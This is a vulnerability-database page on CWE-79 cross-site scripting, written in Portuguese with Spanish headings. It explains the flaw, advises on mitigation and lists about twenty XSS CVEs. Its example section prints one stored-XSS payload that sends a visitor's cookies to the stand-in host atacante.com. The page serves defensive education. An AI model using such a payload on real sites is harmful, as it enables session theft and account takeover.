Fallos del tipo CWE-79

29.993 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-68900HIGHWekan: Stored XSS in HTML board exports through a card-title second parseEPSS 0.4%CVE-2023-26040MEDIUMDiscourse chat messages susceptible to Cross-site Scripting through chat excerptsEPSS 0.4%CVE-2024-47819MEDIUMUmbraco CMS vulnerable to stored Cross-site Scripting in the "dictionary name" on Dictionary sectionEPSS 0.4%CVE-2026-94211MEDIUMHyve5 Leantime Project Dashboard show.blade.php cross site scriptingEPSS 0.4%CVE-2025-3036MEDIUMyzk2356911358 StudentServlet-JSP Student Management cross site scriptingEPSS 0.4%CVE-2023-28520MEDIUMIBM Planning Analytics Local cross-site scriptingEPSS 0.4%CVE-2024-44919MEDIUMA cross-site scripting (XSS) vulnerability in the component admin_ads.php of SeaCMS v12.9 allows attackers to execute arbitrary web scripts EPSS 0.4%CVE-2024-1238MEDIUMElementsKit Elementor addons <= 3.0.6 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2024-47618MEDIUMSulu vulnerable to XSS via uploaded SVGEPSS 0.4%CVE-2025-0350MEDIUMDivi Carousel Lite <= 2.0.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via Image Carousel and Logo Carousel WidgetsEPSS 0.4%CVE-2026-75831MEDIUMGrav before 2.0.15 Stored XSS via audio/video source URLEPSS 0.4%CVE-2024-4695MEDIUMMove Addons for Elementor <= 1.3.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Multiple WidgetsEPSS 0.4%CVE-2023-51318MEDIUMPHPJabbers Bus Reservation System v1.1 is vulnerable to Multiple Stored Cross-Site Scripting (XSS) in the "title, name" parameters.EPSS 0.4%CVE-2026-1304MEDIUMMembership Plugin – Restrict Content <= 3.2.18 - Authenticated (Administrator+) Stored Cross-Site Scripting via Invoice SettingsEPSS 0.4%CVE-2026-1210MEDIUMHappy Addons for Elementor <= 3.20.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via '_elementor_data' Meta FieldEPSS 0.4%CVE-2026-54506HIGHVvveb: Stored XSS via sanitizeHTML() bypass in user profile bio fieldEPSS 0.4%CVE-2026-1256MEDIUMYS LeadGen – Popups, Opt-ins & Lead Capture <= 2.1.4 - Missing Authorization to Authenticated (Subscriber+) Stored Cross-Site Scripting via User InputEPSS 0.4%CVE-2026-5361MEDIUMEnvira Gallery <= 1.12.4 - Authenticated (Author+) Stored Cross-Site Scripting via 'arrows' ParameterEPSS 0.4%CVE-2023-32711MEDIUMPersistent Cross-Site Scripting (XSS) through a URL Validation Bypass within a Dashboard ViewEPSS 0.4%CVE-2025-0104HIGHExpedition: Cross-Site Scripting (XSS) VulnerabilityEPSS 0.4%